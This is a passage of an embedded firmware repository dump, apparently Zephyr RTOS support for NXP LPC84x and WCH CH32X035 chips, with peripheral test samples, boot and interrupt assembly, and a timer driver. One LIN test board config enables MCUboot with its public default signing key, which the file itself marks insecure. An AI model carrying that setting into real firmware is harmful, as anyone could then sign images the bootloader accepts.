cfg.operation |= SPI_MODE_CPHA; 22 | // cfg.operation |= SPI_MODE_LOOP; 23 | cfg.operation |= SPI_TRANSFER_LSB; 24 | cfg.operation |= SPI_WORD_SET(8); // bits/word 25 | cfg.operation |= SPI_LINES_SINGLE; 26 | // cfg.operation |= SPI_HOLD_ON_CS; 27 | // cfg.operation |= SPI_LOCK_ON; 28 | // cfg.operation |= SPI_CS_ACTIVE_HIGH; 29 | 30 | uint8_t tx[4] = {1,2,3,4}; 31 | struct spi_buf tx_buf = { .buf = tx, .len = sizeof(tx) }; 32 | struct spi_buf_set tx_buf_set = { .buffers = &tx_buf, .count = 1 }; 33 | 34 | uint8_t rx[4] = {0}; 35 | struct spi_buf rx_buf = { .buf = rx, .len = sizeof(rx) }; 36 | struct spi_buf_set rx_buf_set = { .buffers = &rx_buf, .count = 1 }; 37 | 38 | for (int i = 0; i < NUM_SPI; i++) { 39 | LOG_INF("transceiving some bytes on SPI %d", i); 40 | spi_transceive(spis[i], &cfg, &tx_buf_set, &rx_buf_set); 41 | for (int j = 0; j < sizeof(tx); j++) { 42 | LOG_INF("sent: 0x%x\trecvd: 0x%x", tx[j], rx[j]); 43 | } 44 | } 45 | return 0; 46 | } 47 | 48 | SYS_INIT(spi_test, APPLICATION, 2); 49 | 50 | #endif // DT_NODE_HAS_PROP(TEST_NODE, spi) 51 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/uart_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | #include 5 | LOG_MODULE_REGISTER(uart_test, CONFIG_LOG_DEFAULT_LEVEL); 6 | 7 | #if DT_NODE_HAS_PROP(TEST_NODE, uart) 8 | 9 | #define NUM_UART DT_PROP_LEN(TEST_NODE, uart) 10 | 11 | static const struct device *uarts[] = { 12 | DT_FOREACH_PROP_ELEM(TEST_NODE, uart, ELEM_TO_DEVICE) 13 | }; 14 | 15 | static int uart_test(void) { 16 | LOG_INF("starting UART test"); 17 | char c = 'a', d; 18 | for (int i = 0; i < NUM_UART; i++) { 19 | LOG_INF("sent '%c' on UART %d", c, i); 20 | uart_poll_out(uarts[i], c); 21 | k_msleep(10); 22 | if (uart_poll_in(uarts[i], &d) < 0) { 23 | LOG_ERR("didn't receive char in time :("); 24 | } else { 25 | LOG_INF("received '%c'", d); 26 | } 27 | c++; 28 | } 29 | return 0; 30 | } 31 | 32 | SYS_INIT(uart_test, APPLICATION, 4); 33 | 34 | #endif // DT_NODE_HAS_PROP(TEST_NODE, uart) 35 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/usb_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(usb_test, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_PROP(TEST_NODE, usb) 7 | 8 | static int usb_test(void) { 9 | LOG_INF("enabling USB, returned %d, plug in to check", usb_enable(NULL)); 10 | return 0; 11 | } 12 | 13 | SYS_INIT(usb_test, APPLICATION, 5); 14 | 15 | #endif // DT_PROP(TEST_NODE, usb) 16 | -------------------------------------------------------------------------------- /samples/tests/lin_test/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 4 | project(lin_test) 5 | 6 | target_sources(app PRIVATE src/main.c) 7 | -------------------------------------------------------------------------------- /samples/tests/lin_test/boards/jabican_usb_pro.conf: -------------------------------------------------------------------------------- 1 | # NOTE insecure default key used! 2 | CONFIG_BOOTLOADER_MCUBOOT=y 3 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 4 | 5 | CONFIG_USB_DEVICE_STACK=y 6 | CONFIG_USB_DEVICE_INITIALIZE_AT_BOOT=y 7 | -------------------------------------------------------------------------------- /samples/tests/lin_test/boards/jabican_usb_pro.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | chosen { 3 | zephyr,console = &cdc_acm_uart0; 4 | }; 5 | }; 6 | 7 | &zephyr_udc0 { 8 | cdc_acm_uart0: cdc_acm_uart0 { 9 | compatible = "zephyr,cdc-acm-uart"; 10 | }; 11 | }; 12 | -------------------------------------------------------------------------------- /samples/tests/lin_test/boards/nucleo_g0b1re.overlay: -------------------------------------------------------------------------------- 1 | &usart1 { 2 | lin0: lin0 { 3 | compatible = "virtual,lin-uart"; 4 | status = "okay"; 5 | bitrate = <19200>; 6 | max-wait-percent = <150>; 7 | }; 8 | }; 9 | -------------------------------------------------------------------------------- /samples/tests/lin_test/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_TICKS_PER_SEC=1000 2 | 3 | CONFIG_LIN=y 4 | 5 | CONFIG_LOG=y 6 | CONFIG_LOG_DEFAULT_LEVEL=3 7 | CONFIG_LIN_LOG_LEVEL_DBG=y 8 | CONFIG_LOG_MODE_IMMEDIATE=n 9 | CONFIG_LOG_PROCESS_TRIGGER_THRESHOLD=0 10 | CONFIG_LOG_PROCESS_THREAD_SLEEP_MS=100 11 | -------------------------------------------------------------------------------- /samples/tests/lin_test/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(main, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | static const struct device *dev = DEVICE_DT_GET(DT_NODELABEL(lin0)); 7 | static struct k_sem lock; 8 | 9 | static void print_msg(const struct lin_frame *msg) { 10 | LOG_INF("id=0x%x, checksum=%d, len=%d", msg->id, msg->type, msg->len); 11 | LOG_HEXDUMP_INF(msg->data, msg->len, "data="); 12 | } 13 | 14 | static int header_cb(const struct device *dev, struct lin_frame *msg, void *data) { 15 | switch (msg->id) { 16 | case 0x00: 17 | msg->type = LIN_CHECKSUM_ENHANCED; 18 | msg->len = 2; 19 | msg->data[0] = 0x69; 20 | msg->data[1] = 0x42; 21 | return LIN_ACTION_SEND; 22 | break; 23 | 24 | case 0x01: 25 | msg->type = LIN_CHECKSUM_AUTO; 26 | msg->len = 0; 27 | return LIN_ACTION_RECEIVE; 28 | break; 29 | } 30 | k_sem_give(&lock); 31 | return LIN_ACTION_NONE; 32 | } 33 | 34 | static void tx_cb(const struct device *dev, int error, void *data) { 35 | if (error) { 36 | LOG_ERR("tx error %d", error); 37 | } else { 38 | LOG_INF("tx done %p", data); 39 | } 40 | k_sem_give(&lock); 41 | } 42 | 43 | static void rx_cb(const struct device *dev, int error, const struct lin_frame *msg, void *data) { 44 | if (error) { 45 | LOG_ERR("rx error %d", error); 46 | } else { 47 | print_msg(msg); 48 | } 49 | k_sem_give(&lock); 50 | } 51 | 52 | int main() { 53 | // configure 54 | k_sem_init(&lock, 0, 1); 55 | if (lin_set_bitrate(dev, 19200) || 56 | lin_set_header_callback(dev, header_cb, NULL) || 57 | lin_set_tx_callback(dev, tx_cb, NULL) || 58 | lin_set_rx_callback(dev, rx_cb, NULL)) { 59 | LOG_ERR("failed to configure"); 60 | } 61 | 62 | // commander 63 | lin_set_mode(dev, LIN_MODE_COMMANDER); 64 | 65 | struct lin_frame msg = { 66 | .id = 0x00, 67 | .type = LIN_CHECKSUM_ENHANCED, 68 | .len = 2, 69 | .data = {0x69, 0x42}, 70 | }; 71 | lin_send(dev, &msg); 72 | k_sem_take(&lock, K_FOREVER); 73 | 74 | lin_receive(dev, 0x01, LIN_CHECKSUM_AUTO, 0); 75 | k_sem_take(&lock, K_FOREVER); 76 | 77 | // responder 78 | lin_set_mode(dev, LIN_MODE_RESPONDER); 79 | } 80 | -------------------------------------------------------------------------------- /soc/nxp/lpc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory(${SOC_SERIES}) 2 | -------------------------------------------------------------------------------- /soc/nxp/lpc/Kconfig: -------------------------------------------------------------------------------- 1 | if SOC_FAMILY_LPC 2 | 3 | rsource "*/Kconfig" 4 | 5 | config SOC_PART_NUMBER 6 | default SOC_PART_NUMBER_LPC84X if SOC_SERIES_LPC84X 7 | 8 | endif # SOC_FAMILY_LPC 9 | -------------------------------------------------------------------------------- /soc/nxp/lpc/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | rsource "*/Kconfig.defconfig" 2 | -------------------------------------------------------------------------------- /soc/nxp/lpc/Kconfig.soc: -------------------------------------------------------------------------------- 1 | rsource "*/Kconfig.soc" 2 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_include_directories( 2 | . 3 | ${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/swm 4 | ) 5 | 6 | zephyr_sources( 7 | soc.c 8 | ${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/swm/fsl_swm.c 9 | ) 10 | 11 | set(SOC_LINKER_SCRIPT ${ZEPHYR_BASE}/include/zephyr/arch/arm/cortex_m/scripts/linker.ld CACHE INTERNAL "") 12 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/Kconfig: -------------------------------------------------------------------------------- 1 | config SOC_SERIES_LPC84X 2 | select ARM 3 | select CPU_CORTEX_M0PLUS 4 | select CPU_CORTEX_M_HAS_SYSTICK 5 | select CPU_CORTEX_M_HAS_VTOR 6 | select HAS_MCUX 7 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if SOC_SERIES_LPC84X 2 | 3 | config NUM_IRQS 4 | # must be >= the highest interrupt number used 5 | default 40 6 | 7 | endif # SOC_SERIES_LPC84X 8 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/Kconfig.soc: -------------------------------------------------------------------------------- 1 | config SOC_SERIES_LPC84X 2 | bool 3 | select SOC_FAMILY_LPC 4 | 5 | config SOC_SERIES 6 | default "lpc84x" if SOC_SERIES_LPC84X 7 | 8 | config SOC_LPC844 9 | bool 10 | select SOC_SERIES_LPC84X 11 | 12 | config SOC_LPC845 13 | bool 14 | select SOC_SERIES_LPC84X 15 | 16 | config SOC 17 | default "lpc844" if SOC_LPC844 18 | default "lpc845" if SOC_LPC845 19 | 20 | if SOC_SERIES_LPC84X 21 | 22 | config SOC_PART_NUMBER_LPC845M301JBD64 23 | bool 24 | config SOC_PART_NUMBER_LPC845M301JBD48 25 | bool 26 | config SOC_PART_NUMBER_LPC845M301JHI48 27 | bool 28 | config SOC_PART_NUMBER_LPC845M301JHI33 29 | bool 30 | config SOC_PART_NUMBER_LPC844M201JBD64 31 | bool 32 | config SOC_PART_NUMBER_LPC844M201JBD48 33 | bool 34 | config SOC_PART_NUMBER_LPC844M201JHI48 35 | bool 36 | config SOC_PART_NUMBER_LPC844M201JHI33 37 | bool 38 | 39 | config SOC_PART_NUMBER_LPC84X # used to configure mcux 40 | string 41 | default "LPC845M301JBD64" if SOC_PART_NUMBER_LPC845M301JBD64 42 | default "LPC845M301JBD48" if SOC_PART_NUMBER_LPC845M301JBD48 43 | default "LPC845M301JHI48" if SOC_PART_NUMBER_LPC845M301JHI48 44 | default "LPC845M301JHI33" if SOC_PART_NUMBER_LPC845M301JHI33 45 | default "LPC844M201JBD64" if SOC_PART_NUMBER_LPC844M201JBD64 46 | default "LPC844M201JBD48" if SOC_PART_NUMBER_LPC844M201JBD48 47 | default "LPC844M201JHI48" if SOC_PART_NUMBER_LPC844M201JHI48 48 | default "LPC844M201JHI33" if SOC_PART_NUMBER_LPC844M201JHI33 49 | 50 | endif # SOC_SERIES_LPC84X 51 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/soc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | static void clock_init(void) { 7 | // set to 30MHz FRO as main clock 8 | POWER_DisablePD(kPDRUNCFG_PD_FRO_OUT); 9 | POWER_DisablePD(kPDRUNCFG_PD_FRO); 10 | CLOCK_SetFroOscFreq(kCLOCK_FroOscOut30M); 11 | CLOCK_SetFroOutClkSrc(kCLOCK_FroSrcFroOsc); 12 | CLOCK_SetMainClkSrc(kCLOCK_MainClkSrcFro); 13 | CLOCK_SetCoreSysClkDiv(1); 14 | 15 | // always used 16 | CLOCK_EnableClock(kCLOCK_Iocon); 17 | CLOCK_EnableClock(kCLOCK_Swm); 18 | 19 | // use main clock for everything (difficult to do cleanly in devicetree) 20 | CLOCK_Select(kUART0_Clk_From_MainClk); 21 | CLOCK_Select(kUART1_Clk_From_MainClk); 22 | CLOCK_Select(kUART2_Clk_From_MainClk); 23 | CLOCK_Select(kUART3_Clk_From_MainClk); 24 | CLOCK_Select(kUART4_Clk_From_MainClk); 25 | } 26 | 27 | static int nxp_lpc84x_init(void) { 28 | clock_init(); 29 | 30 | return 0; 31 | } 32 | 33 | SYS_INIT(nxp_lpc84x_init, PRE_KERNEL_1, 0); 34 | -------------------------------------------------------------------------------- /soc/nxp/lpc/lpc84x/soc.h: -------------------------------------------------------------------------------- 1 | #ifndef _SOC__H_ 2 | #define _SOC__H_ 3 | 4 | #if defined(CONFIG_SOC_LPC844) 5 | #include 6 | #elif defined(CONFIG_SOC_LPC845) 7 | #include 8 | #endif 9 | 10 | #endif /* _SOC__H_ */ 11 | -------------------------------------------------------------------------------- /soc/nxp/lpc/soc.yml: -------------------------------------------------------------------------------- 1 | family: 2 | - name: lpc 3 | series: 4 | - name: lpc84x 5 | socs: 6 | - name: lpc844 7 | - name: lpc845 8 | -------------------------------------------------------------------------------- /soc/wch/ch32/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory(common) 2 | add_subdirectory(${SOC_SERIES}) 3 | -------------------------------------------------------------------------------- /soc/wch/ch32/Kconfig: -------------------------------------------------------------------------------- 1 | config SOC_FAMILY_WCH_CH32 2 | bool 3 | select RISCV 4 | select RISCV_GP 5 | select INCLUDE_RESET_VECTOR 6 | select BUILD_OUTPUT_HEX 7 | select TICKLESS_CAPABLE 8 | 9 | rsource "*/Kconfig" 10 | -------------------------------------------------------------------------------- /soc/wch/ch32/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if SOC_FAMILY_WCH_CH32 2 | 3 | config GNU_C_EXTENSIONS 4 | default y 5 | 6 | endif # SOC_FAMILY_WCH_CH32 7 | 8 | rsource "*/Kconfig.defconfig" 9 | -------------------------------------------------------------------------------- /soc/wch/ch32/Kconfig.soc: -------------------------------------------------------------------------------- 1 | rsource "*/Kconfig.soc" 2 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_include_directories(.) 2 | 3 | zephyr_sources(soc.c) 4 | 5 | set(SOC_LINKER_SCRIPT ${ZEPHYR_BASE}/include/zephyr/arch/riscv/common/linker.ld CACHE INTERNAL "") 6 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/Kconfig: -------------------------------------------------------------------------------- 1 | config SOC_SERIES_CH32X035 2 | bool 3 | select SOC_FAMILY_WCH_CH32 4 | select RISCV_ISA_RV32I 5 | select RISCV_ISA_EXT_M 6 | select RISCV_ISA_EXT_A 7 | select RISCV_ISA_EXT_C 8 | select RISCV_ISA_EXT_ZICSR 9 | select ATOMIC_OPERATIONS_BUILTIN 10 | 11 | config SOC_SERIES 12 | default "ch32x035" if SOC_SERIES_CH32X035 13 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if SOC_SERIES_CH32X035 2 | 3 | config SYS_CLOCK_HW_CYCLES_PER_SEC 4 | default 48000000 5 | 6 | config NUM_IRQS 7 | default 54 8 | 9 | endif # SOC_SERIES_CH32X035 10 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/Kconfig.soc: -------------------------------------------------------------------------------- 1 | config SOC_CH32X035 2 | bool 3 | select SOC_SERIES_CH32X035 4 | 5 | config SOC 6 | default "ch32x035" if SOC_CH32X035 7 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/ch32x035_conf.h: -------------------------------------------------------------------------------- 1 | #ifndef CH32X035_CONF_H 2 | #define CH32X035_CONF_H 3 | 4 | #endif // CH32X035_CONF_H 5 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/soc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "soc.h" 4 | 5 | static void clock_init(void) { 6 | // set to 48MHz clock 7 | FLASH->ACTLR = (FLASH->ACTLR & ~FLASH_ACTLR_LATENCY) | FLASH_ACTLR_LATENCY_2; 8 | RCC->CFGR0 = (RCC->CFGR0 & ~RCC_HPRE) | RCC_HPRE_DIV1; 9 | 10 | RCC_AHBPeriphClockCmd (RCC_AHBPeriph_DMA1, ENABLE); // enable DMA 11 | RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE); // enable pin remap and EXTI 12 | } 13 | 14 | static int wch_ch32x035_init(void) { 15 | clock_init(); 16 | return 0; 17 | } 18 | 19 | SYS_INIT(wch_ch32x035_init, PRE_KERNEL_1, 0); 20 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/soc.h: -------------------------------------------------------------------------------- 1 | #ifndef SOC_H 2 | #define SOC_H 3 | 4 | #ifndef _ASMLANGUAGE 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // bug with an extra extern "C"... 15 | #ifndef __CH32X035_USB_H 16 | #include 17 | #ifdef __cplusplus 18 | } 19 | #endif 20 | #endif 21 | 22 | #endif 23 | 24 | #include 25 | 26 | #endif // SOC_H 27 | -------------------------------------------------------------------------------- /soc/wch/ch32/ch32x035/system_ch32x035.h: -------------------------------------------------------------------------------- 1 | #ifndef SYSTEM_CH32X035_H 2 | #define SYSTEM_CH32X035_H 3 | 4 | #include 5 | 6 | static inline void Delay_Init(void) {} 7 | 8 | static inline void Delay_Us(uint32_t us) { 9 | // approximately correct at 48MHz w/ 2 wait states 10 | __asm__ ( 11 | "mv t0, %0 \n" 12 | "slli t0, t0, 2 \n" 13 | "beqz t0, 2f \n" 14 | "1:" 15 | "addi t0, t0, -1 \n" 16 | "bnez t0, 1b \n" 17 | "2:" 18 | : : "r" (us) : "t0" 19 | ); 20 | } 21 | 22 | #endif // SYSTEM_CH32X035_H 23 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # TODO move to hal_wch 2 | set(WCH_SDK_DIR ${ZEPHYR_BASE}/../modules/hal/wch/${SOC_SERIES}/EVT/EXAM/SRC) 3 | 4 | file(GLOB WCH_SDK_SRCS 5 | ${WCH_SDK_DIR}/Peripheral/src/*.c 6 | ${WCH_SDK_DIR}/Core/*.c 7 | ) 8 | 9 | zephyr_sources( 10 | idle.c 11 | irq.c 12 | startup.c 13 | timer.c 14 | ${WCH_SDK_SRCS} 15 | ) 16 | 17 | zephyr_include_directories( 18 | . 19 | ${WCH_SDK_DIR}/Peripheral/inc 20 | ${WCH_SDK_DIR}/Core 21 | ) 22 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/idle.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // adapted from zephyr/arch/riscv/core/cpu_idle.c 4 | 5 | static inline void riscv_idle(unsigned int key) { 6 | sys_trace_idle(); 7 | irq_unlock(key); 8 | // should "wfi" here but seems to cause lost interrupts, see wch_ch32/common/irq.c 9 | } 10 | 11 | void arch_cpu_idle(void) { 12 | riscv_idle(MSTATUS_IEN); 13 | } 14 | 15 | void arch_cpu_atomic_idle(unsigned int key) { 16 | riscv_idle(key); 17 | } 18 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/irq.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void arch_irq_enable(unsigned int irq) { 5 | NVIC_EnableIRQ(irq); 6 | } 7 | 8 | void arch_irq_disable(unsigned int irq) { 9 | NVIC_DisableIRQ(irq); 10 | } 11 | 12 | void __soc_handle_irq(unsigned long mcause) { 13 | (void) mcause; // do nothing 14 | } 15 | 16 | /* 17 | * For normal RISC-V, interrupts are disabled (MIE=0) upon entering an ISR and get re-enabled on 18 | * return (mret sets MIE=MPIE). While in the ISR, it's possible to manually re-enable interrupts, 19 | * after clearing the IRQ of course, and simply jump elsewhere. Zephyr uses this to implement context 20 | * switches from within _isr_wrapper. 21 | * 22 | * In order to support interrupt nesting, CH32 doesn't follow these assumptions. Interrupts remain 23 | * enabled (MIE=1) and an mret is required to exit the interrupt level. Since Zephyr's context switch 24 | * simply jumps without mret, the next thread will effectively have same or lower priority interrupts 25 | * disabled. It should be noted that FreeRTOS does context switches using mret so it lacks this issue, 26 | * but it also doesn't currently support nesting. 27 | * 28 | * The workaround consists of three parts. First, we need to mret before a context switch in _isr_wrapper. 29 | * We can't do it in __soc_handle_irq since our installed handlers which clear the IRQ get called after. 30 | * The cleanest way is instead hooking into sys_trace_isr_exit, which does mean we can't use the trace 31 | * subsystem. Since interrupts must remain disabled after this added mret, we clear MPIE, do the ret, then 32 | * set MPIE again. The double mret would definitely mess with CH32 interrupt nesting, so we completely disable 33 | * that in INTSYSCR. 34 | * 35 | * Second, we need to make a wrapper around _isr_wrapper, which we call _isr_wrapper_wrapper, that clears 36 | * MIE before jumping to _isr_wrapper. Since _isr_wrapper saves and restores mstatus, having MIE=1 and our 37 | * added mret can unintentionally re-enable interrupts before _isr_wrapper returns. 38 | * 39 | * Third, we need to disable wfi inside the idle thread. Unforunately, it looks like the double mret can 40 | * cause the next IRQ to be missed. This does mean we can't use sleep states effectively. 41 | */ 42 | __attribute__((naked)) 43 | void sys_trace_isr_exit_user(void) { 44 | __asm__ ( 45 | "li a0, 0x1800 \n" // disable MPIE so MIE disabled after mret 46 | "csrw mstatus, a0 \n" 47 | "la a0, 1f \n" 48 | "csrw mepc, a0 \n" 49 | "mret \n" 50 | "1:" 51 | "li a0, 0x1880 \n" // enable MPIE so MIE restored correctly 52 | "csrw mstatus, a0 \n" 53 | "ret \n" 54 | ); 55 | } 56 | 57 | #if !(defined(CONFIG_TRACING) && defined(CONFIG_TRACING_USER) && defined(CONFIG_TRACING_ISR)) 58 | #error "please don't use tracing subsytem" 59 | #endif 60 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/soc_common.h: -------------------------------------------------------------------------------- 1 | #ifndef SOC_COMMON_H 2 | #define SOC_COMMON_H 3 | 4 | #define SOC_MCAUSE_EXP_MASK 0x7FFFFFFF 5 | #define SOC_MCAUSE_ECALL_EXP 11 6 | #define SOC_MCAUSE_USER_ECALL_EXP 8 7 | 8 | #define GPIO_GET_PORT(x) (((x) >> 8) & 0xFF) 9 | #define GPIO_GET_PIN(x) ((x) & 0xFF) 10 | 11 | #ifndef _ASMLANGUAGE 12 | 13 | static inline void clock_control_on(uint32_t type, uint32_t mask) { 14 | // see dt-bindings/clock/${SOC}_clock.h 15 | switch (type) { 16 | case 0: RCC_AHBPeriphClockCmd (mask, ENABLE); break; 17 | case 1: RCC_APB2PeriphClockCmd(mask, ENABLE); break; 18 | case 2: RCC_APB1PeriphClockCmd(mask, ENABLE); break; 19 | } 20 | } 21 | 22 | static inline void pinctrl_configure_pins(uint32_t pin, GPIOMode_TypeDef mode) { 23 | GPIO_InitTypeDef cfg = { 24 | .GPIO_Pin = (uint32_t) 1 << GPIO_GET_PIN(pin), 25 | .GPIO_Speed = GPIO_Speed_50MHz, 26 | .GPIO_Mode = mode, 27 | }; 28 | switch (GPIO_GET_PORT(pin)) { 29 | case 0: GPIO_Init(GPIOA, &cfg); break; 30 | case 1: GPIO_Init(GPIOB, &cfg); break; 31 | case 2: GPIO_Init(GPIOC, &cfg); break; 32 | } 33 | } 34 | 35 | static inline void pinctrl_apply_state(uint32_t remap) { 36 | if (remap) { 37 | GPIO_PinRemapConfig(remap, ENABLE); 38 | } 39 | } 40 | 41 | #endif 42 | 43 | #endif // SOC_COMMON_H 44 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/startup.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern void __reset(void); 4 | 5 | __attribute__((naked)) 6 | static void _isr_wrapper_wrapper(void) { 7 | __asm__ ( 8 | "csrci mstatus, 0x8 \n" // clear MIE, matching RISC-V spec 9 | "j _isr_wrapper \n" 10 | ); 11 | } 12 | 13 | __attribute__((naked, section(".vectors.reset"))) 14 | void __start(void) { 15 | __asm__ ( 16 | ".option push \n" 17 | ".option norelax \n" 18 | "la gp, __global_pointer$ \n" // set gp 19 | ".option pop \n" 20 | : : : "gp" 21 | ); 22 | 23 | #if IS_ENABLED(CONFIG_SOC_CH32X035) 24 | __asm__ ( 25 | "li t0, 0x1f \n" 26 | "csrw 0xbc0, t0 \n" // from startup, exact effect unknown 27 | "li t0, 0x0 \n" 28 | "csrw 0x804, t0 \n" // disable interrupt nesting and hardware stacking (INTSYSCR) 29 | : : : "t0" 30 | ); 31 | #else 32 | #error "define cpu specific settings for soc!" 33 | #endif 34 | 35 | static __aligned(4) void (*isr_handler)(void) = _isr_wrapper_wrapper; 36 | __asm__ ( 37 | "mv t0, %0 \n" 38 | "li t1, 0xfffffffc \n" 39 | "and t0, t0, t1 \n" 40 | "ori t0, t0, 0x2 \n" 41 | "csrw mtvec, t0 \n" 42 | : : "r" (&isr_handler) : "t0", "t1" 43 | ); 44 | 45 | __reset(); 46 | while (1); 47 | } 48 | -------------------------------------------------------------------------------- /soc/wch/ch32/common/timer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // inspired by drivers/timer/riscv_machine_timer.c 7 | 8 | #define CYC_PER_TICK (sys_clock_hw_cycles_per_sec() / CONFIG_SYS_CLOCK_TICKS_PER_SEC) 9 | 10 | static struct { 11 | struct k_spinlock lock; 12 | uint64_t last_count; 13 | uint64_t last_ticks; 14 | } data; 15 | 16 | static void set_mtimecmp(uint64_t time) { 17 | volatile uint32_t *r = (uint32_t*) &SysTick->CMP; 18 | r[1] = 0xffffffff; 19 | r[0] = (uint32_t) (time); 20 | r[1] = (uint32_t) (time >> 32); 21 | } 22 | 23 | static uint64_t mtime(void) { 24 | volatile uint32_t *r = (uint32_t*) &SysTick->CNT; 25 | uint32_t lo, hi; 26 | do { 27 | hi = r[1]; 28 | lo = r[0]; 29 | } while (r[1] != hi); 30 | return (((uint64_t) hi) << 32) | lo; 31 | } 32 | 33 | static void timer_isr(const void *arg) { 34 | ARG_UNUSED(arg); 35 | SysTick->SR = 0; 36 | k_spinlock_key_t key = k_spin_lock(&data.lock); 37 | uint64_t now = mtime(); 38 | uint64_t dcycles = now - data.last_count; 39 | uint32_t dticks = (uint32_t) dcycles / CYC_PER_TICK; 40 | data.last_count += dticks * CYC_PER_TICK; 41 | data.last_ticks += dticks; 42 | if (!IS_ENABLED(CONFIG_TICKLESS_KERNEL)) { 43 | set_mtimecmp(data.last_count + CYC_PER_TICK); 44 | } 45 | k_spin_unlock(&data.lock, key); 46 | sys_clock_announce(dticks); 47 | } 48 | 49 | void sys_clock_set_timeout(int32_t ticks, bool idle) { 50 | if (!IS_ENABLED(CONFIG_TICKLESS_KERNEL)) { 51 | return; 52 | } 53 | 54 | if (ticks == K_TICKS_FOREVER) { 55 | set_mtimecmp(mtime() - 1); 56 | return; 57 | } 58 | 59 | uint32_t elapsed = sys_clock_elapsed(); 60 | if (ticks <= 0) { 61 | data.last_count += elapsed * CYC_PER_TICK; 62 | sys_clock_announce(elapsed); 63 | } else { 64 | ticks = CLAMP(ticks, 0, UINT32_MAX / 2 / CYC_PER_TICK); // keep native width divisions 65 | ticks = CLAMP(ticks, 0, INT32_MAX / 2); // space for ISR latency 66 | 67 | k_spinlock_key_t key = k_spin_lock(&data.lock); 68 | uint64_t cyc = (data.last_ticks + elapsed + ticks) * CYC_PER_TICK; 69 | k_spin_unlock(&data.lock, key); 70 | set_mtimecmp(cyc); 71 | } 72 | } 73 | 74 | uint32_t sys_clock_elapsed(void) { 75 | if (!IS_ENABLED(CONFIG_TICKLESS_KERNEL)) { 76 | return 0; 77 | } 78 | k_spinlock_key_t key = k_spin_lock(&data.lock); 79 | uint64_t now = mtime(); 80 | uint64_t dcycles = now - data.last_count; 81 | uint32_t dticks = (uint32_t) dcycles / CYC_PER_TICK; 82 | k_spin_unlock(&data.lock, key); 83 | return dticks; 84 | } 85 | 86 | uint32_t sys_clock_cycle_get_32(void) { 87 | return mtime(); 88 | } 89 | 90 | uint64_t sys_clock_cycle_get_64(void) { 91 | return mtime(); 92 | } 93 | 94 | static int sys_clock_driver_init(void) { 95 | IRQ_CONNECT(SysTicK_IRQn, 0, timer_isr, NULL, 0); 96 | SysTick->CNT = 0; 97 | data.last_count = 0; 98 | data.last_ticks = 0; 99 | if (!IS_ENABLED(CONFIG_TICKLESS_KERNEL)) { 100 | set_mtimecmp(CYC_PER_TICK); 101 | } 102 | SysTick->CTLR = 0x00000027; // count up, no reload, enable 103 | irq_enable(SysTicK_IRQn); 104 | return 0; 105 | } 106 | 107 | SYS_INIT(sys_clock_driver_init, PRE_KERNEL_2, CONFIG_SYSTEM_CLOCK_INIT_PRIORITY); 108 | -------------------------------------------------------------------------------- /soc/wch/ch32/soc.yml: -------------------------------------------------------------------------------- 1 | family: 2 | - name: ch32 3 | series: 4 | - name: ch32x035 5 | socs: 6 | - name: ch32x035 7 | -------------------------------------------------------------------------------- /west.yml: -------------------------------------------------------------------------------- 1 | manifest: 2 | remotes: 3 | - name: zephyrproject-rtos 4 | url-base: https://github.com/zephyrproject-rtos 5 | - name: openwch 6 | url-base: https://github.com/openwch 7 | 8 | projects: 9 | - name: zephyr 10 | remote: zephyrproject-rtos 11 | revision: v3.7.0 12 | import: true 13 | - name: ch32x035 